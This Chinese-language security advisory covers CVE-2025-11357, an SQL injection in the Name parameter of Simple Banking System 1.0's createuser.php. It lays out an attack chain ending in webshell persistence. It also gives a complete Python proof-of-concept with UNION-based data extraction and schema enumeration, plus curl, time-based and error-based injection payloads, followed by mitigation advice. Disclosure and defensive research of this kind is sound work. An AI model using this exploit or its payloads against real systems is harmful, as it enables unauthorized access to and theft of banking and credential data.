IPBUF安全漏洞报告
English
CVE-2025-11357 CVSS 6.3 中危

CVE-2025-11357:Simple Banking System 1.0 SQL注入漏洞

披露日期: 2025-10-07

漏洞信息

漏洞编号
CVE-2025-11357
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
code-projects Simple Banking System

相关标签

SQL注入CVE-2025-11357Simple Banking Systemcode-projectsPHPcreateuser.phpWeb应用漏洞中危漏洞数据库安全

漏洞概述

CVE-2025-11357是code-projects公司开发的Simple Banking System(简易银行系统)1.0版本中存在的一个安全漏洞。该漏洞于2025年10月7日由VulDB社区的研究人员发现并公开披露,属于典型的SQL注入(SQL Injection)安全缺陷。

Simple Banking System是一款基于Web的银行管理系统,主要用于模拟银行业务的基本操作流程,包括用户管理、账户创建、存款、取款、转账等核心功能。该系统采用PHP语言开发,使用MySQL等关系型数据库进行数据持久化存储。由于该系统面向中小型金融机构或作为教学演示项目使用,其安全性问题可能影响到使用该系统的真实业务环境。

根据CVSS 3.1评分体系,该漏洞获得了6.3分的综合评分,属于中危级别漏洞。从攻击向量来看,该漏洞可以通过网络远程利用(AV:N),攻击复杂度较低(AC:L),但需要低权限认证(PR:L),无需用户交互(UI:N)。漏洞的成功利用将对系统的机密性、完整性和可用性均产生低级别影响(C:L/I:L/A:L),攻击者可能通过注入恶意SQL语句读取、修改或删除数据库中的敏感信息。

该漏洞的PoC(概念验证代码)已经被公开发布在GitHub等平台上,任何具备基本攻击知识的攻击者都可以利用该漏洞对未打补丁的系统发起攻击。鉴于该漏洞利用难度低且影响范围明确,相关用户和组织应尽快采取修复措施。

技术细节

该SQL注入漏洞存在于Simple Banking System 1.0版本的/createuser.php文件中,具体位于用户创建功能模块。当系统处理用户注册或账户创建请求时,未对用户提交的Name参数进行充分的输入验证和参数化处理,直接将用户输入拼接到SQL查询语句中执行。

漏洞的根本原因在于开发者使用了不安全的数据库查询方式,例如直接通过字符串拼接构造SQL语句,而非使用预编译语句(Prepared Statements)或存储过程。这种编码方式使得攻击者可以通过构造特殊的SQL片段,修改原始查询的语义结构。

攻击者可以通过在Name参数中注入SQL元字符(如单引号'、双横杠--、分号;、UNION关键字等)来实施注入攻击。例如,攻击者可以提交类似以下格式的恶意输入:

Name字段输入:admin' OR '1'='1' --

当该输入被拼接到SQL查询中时,可能导致查询逻辑被篡改,返回非预期的结果或执行恶意操作。更进一步的利用方式包括:

1. 使用UNION SELECT语句读取数据库中的其他表数据(如用户凭证、财务记录等敏感信息);
2. 使用堆叠查询(stacked queries)执行INSERT、UPDATE或DELETE语句,篡改或销毁数据;
3. 利用数据库特性(如MySQL的LOAD_FILE()、INTO OUTFILE等)读取服务器文件或写入Webshell;
4. 通过information_schema等系统表枚举数据库结构,为后续攻击做准备。

由于该漏洞需要低权限认证(PR:L),攻击者可能需要先获取一个普通用户账户才能触发该漏洞,这一定程度上增加了攻击的门槛,但并未显著降低漏洞的危害程度。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过搜索引擎、Shodan等工具发现暴露在公网上的Simple Banking System 1.0实例,确认目标系统使用存在漏洞的版本。
STEP 2
步骤2:获取低权限凭证
由于漏洞利用需要低权限认证(PR:L),攻击者需要通过注册功能、默认凭证、暴力破解或社会工程学等方式获取一个普通用户账户。
STEP 3
步骤3:登录目标系统
使用获取的低权限账户登录系统,建立有效的会话(Session),获取PHPSESSID等会话凭证。
STEP 4
步骤4:构造注入Payload
访问/createuser.php页面,在Name参数中构造SQL注入Payload,如使用UNION SELECT语句或布尔盲注、时间盲注等技术。
STEP 5
步骤5:提交恶意请求
通过POST请求将包含恶意Payload的表单数据提交到服务器,触发存在漏洞的SQL查询执行。
STEP 6
步骤6:数据提取与利用
通过注入语句读取数据库中的敏感信息(如管理员凭证、财务数据等),或进一步利用数据库特性执行高级操作。
STEP 7
步骤7:权限提升与持久化
利用获取的管理员凭证登录后台,上传Webshell或修改系统配置,实现对目标系统的持久化控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11357 - Simple Banking System SQL Injection PoC # Vulnerability: SQL Injection via 'Name' parameter in /createuser.php # Author: Security Researcher # Tested on: Simple Banking System 1.0 import requests import sys # Target configuration TARGET_URL = "http://target.com/createuser.php" # Attacker credentials (low privilege required) SESSION_COOKIES = { "PHPSESSID": "your_session_id_here" } # SQL Injection payload targeting the 'Name' parameter # Payload: Extract database version via UNION-based injection PAYLOAD = "admin' UNION SELECT 1,version(),3,4-- -" def exploit_sql_injection(target_url, payload, cookies): """ Exploit SQL injection in the Name parameter of createuser.php """ headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" } # Data to be submitted - the 'Name' field contains the injection payload data = { "Name": payload, "AccountNo": "1234567890", "Address": "Test Address", "Phone": "1234567890", "Email": "[email protected]", "Password": "password123", "submit": "Submit" } try: response = requests.post( target_url, data=data, headers=headers, cookies=cookies, timeout=10, verify=False ) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") # Check for successful injection indicators if "error" not in response.text.lower() and response.status_code == 200: print("[+] SQL Injection may have succeeded!") print(f"[+] Response snippet: {response.text[:500]}") else: print("[-] Injection attempt may have failed") return response except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def enumerate_database(target_url, cookies): """ Enumerate database information using UNION-based injection """ # Extract current database name payload_db = "test' UNION SELECT 1,database(),3,4-- -" print(f"\n[*] Extracting database name with payload: {payload_db}") exploit_sql_injection(target_url, payload_db, cookies) # Extract table names payload_tables = "test' UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables WHERE table_schema=database()-- -" print(f"\n[*] Extracting table names with payload: {payload_tables}") exploit_sql_injection(target_url, payload_tables, cookies) if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] print(f"[*] Targeting: {TARGET_URL}") print("[*] CVE-2025-11357 - SQL Injection PoC") print("=" * 60) # Run basic injection test exploit_sql_injection(TARGET_URL, PAYLOAD, SESSION_COOKIES) # Optionally enumerate database # enumerate_database(TARGET_URL, SESSION_COOKIES) # Alternative manual curl command: # curl -X POST "http://target.com/createuser.php" \ # -d "Name=admin' OR '1'='1'-- -&AccountNo=12345&submit=Submit" \ # -b "PHPSESSID=your_session_id" # Time-based blind SQLi alternative payload: # Name=test' AND SLEEP(5)-- - # Error-based SQLi alternative payload: # Name=test' AND extractvalue(1,concat(0x7e,version()))-- -

影响范围

code-projects Simple Banking System 1.0

防御指南

临时缓解措施
在等待官方修复补丁发布之前,建议采取以下临时缓解措施:1)通过Web应用防火墙(WAF)部署SQL注入防护规则,阻断包含常见注入特征的请求;2)在Web服务器层面限制对/createuser.php文件的直接访问,或仅允许特定IP地址访问该端点;3)对Name等用户输入参数实施输入长度限制和字符白名单过滤;4)关闭数据库的错误信息显示,避免泄露数据库结构信息;5)监控数据库日志,及时发现异常的SQL查询行为;6)如果系统非生产必要,建议暂时下线该功能或限制其访问权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表